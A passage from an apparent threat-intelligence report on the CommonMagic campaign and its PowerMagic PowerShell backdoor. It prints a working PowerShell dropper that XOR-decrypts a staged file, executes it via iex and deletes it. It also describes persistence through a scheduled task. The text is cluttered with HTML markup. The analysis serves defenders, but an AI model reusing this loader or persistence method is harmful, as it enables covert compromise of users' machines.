Files contained in attachment.msi<\/figcaption><\/figure>\nThe encrypted payload and the decoy document are written to the folder named\u00a0%APPDATA%\\WinEventCom<\/strong>.\u00a0<\/strong>The VBS dropper script is, in turn, a wrapper for launching an embedded PowerShell script that decrypts the next stage using a simple one-byte XOR, launches it and deletes it from disk.<\/p>\nDecryption of service_pack.dat<\/strong><\/p>\n\n\n\n\n\n 1<\/div>\n 2<\/div>\n 3<\/div>\n 4<\/div>\n 5<\/div>\n 6<\/div>\n 7<\/div>\n 8<\/div>\n 9<\/div>\n 10<\/div>\n 11<\/div>\n 12<\/div>\n 13<\/div>\n 14<\/div>\n 15<\/div>\n 16<\/div>\n 17<\/div>\n 18<\/div>\n<\/div>\n<\/td>\n \n\n $inst<\/span>=“$env:APPDATA\\WinEventCom\\service_pack.dat”<\/span>;<\/span><\/div>\nif<\/span> (<\/span>!<\/span>(<\/span>Test-Path<\/span> $inst<\/span>)<\/span>)<\/span>{<\/span><\/div>\nreturn<\/span>;<\/span><\/div>\n}<\/span><\/div>\n$binst<\/span>=[<\/span>System<\/span>.<\/span>IO<\/span>.<\/span>File<\/span>]<\/span>:<\/span>:<\/span>ReadAllBytes<\/span>(<\/span>$inst<\/span>)<\/span>;<\/span><\/div>\n$xbinst<\/span>=New-Object<\/span> Byte<\/span>[<\/span>]<\/span> $binst<\/span>.<\/span>Count<\/span>;<\/span><\/div>\nfor<\/span> (<\/span>$i<\/span>=0;<\/span>$i<\/span>-lt<\/span>$binst<\/span>.<\/span>Count<\/span>;<\/span>$i<\/span>++)<\/span> {<\/span><\/div>\n$xbinst<\/span>[<\/span>$i<\/span>]<\/span>=$binst<\/span>[<\/span>$i<\/span>]<\/span>-bxor0x13<\/span>;<\/span><\/div>\n$xbinst<\/span>[<\/span>$i<\/span>]<\/span>=$binst<\/span>[<\/span>$i<\/span>]<\/span>-bxor0x55<\/span>;<\/span><\/div>\n$xbinst<\/span>[<\/span>$i<\/span>]<\/span>=$binst<\/span>[<\/span>$i<\/span>]<\/span>-bxor0xFF<\/span>;<\/span><\/div>\n$xbinst<\/span>[<\/span>$i<\/span>]<\/span>=$binst<\/span>[<\/span>$i<\/span>]<\/span>-bxor0xFF<\/span>;<\/span><\/div>\n}<\/span>;<\/span><\/div>\nTry<\/span> {<\/span><\/div>\n[<\/span>System<\/span>.<\/span>Text<\/span>.<\/span>Encoding<\/span>]<\/span>:<\/span>:<\/span>ASCII<\/span>.<\/span>GetString<\/span>(<\/span>$xbinst<\/span>)<\/span>|<\/span>iex<\/span>;<\/span><\/div>\n}<\/span><\/div>\nCatch<\/span> {<\/span>}<\/span>;<\/span><\/div>\nStart-Sleep<\/span> 3;<\/span><\/div>\nRemove-Item<\/span> -Path<\/span> $inst<\/span> -Force<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n <\/p>\n The next-stage script finalizes the installation: it opens the decoy document to display it to the user, writes two files named\u00a0config\u00a0and\u00a0manutil.vbs\u00a0to %APPDATA%\\WinEventCom, and creates a Task Scheduler job named\u00a0WindowsActiveXTaskTrigger, to execute the\u00a0wscript.exe%APPDATA%\\WinEventCom\\manutil.vbs\u00a0command every day.<\/p>\n The PowerMagic backdoor<\/strong><\/p>\nThe script\u00a0manutil.vbs<\/strong>, which is dropped by the initial package, is a loader for a previously unknown backdoor written in PowerShell that we named\u00a0PowerMagic.<\/strong>\u00a0The main body of the backdoor is read from the file\u00a0%APPDATA%\\WinEventCom\\config<\/strong>\u00a0and decrypted with a simple XOR (key: 0x10).<\/p>\nSnippet of PowerMagic\u2019s code containing the \u201cpowermagic\u201d string<\/strong><\/p>\n | |
![\"\"](\"https:\/\/www.fie.undef.edu.ar\/ceptm\/wp-content\/uploads\/2023\/04\/CommonMagic_backdoor_01.png\")
![\"\"](\"https:\/\/www.fie.undef.edu.ar\/ceptm\/wp-content\/uploads\/2023\/04\/CommonMagic_backdoor_02.png\")
![\"\"](\"https:\/\/www.fie.undef.edu.ar\/ceptm\/wp-content\/uploads\/2023\/04\/CommonMagic_backdoor_03.png\")
![\"\"](\"https:\/\/www.fie.undef.edu.ar\/ceptm\/wp-content\/uploads\/2023\/04\/CommonMagic_backdoor_04.png\")
![\"\"](\"https:\/\/www.fie.undef.edu.ar\/ceptm\/wp-content\/uploads\/2023\/04\/CommonMagic_backdoor_05-1024x623-1.png\")
![\"\"](\"https:\/\/www.fie.undef.edu.ar\/ceptm\/wp-content\/uploads\/2023\/04\/CommonMagic_backdoor_06.png\")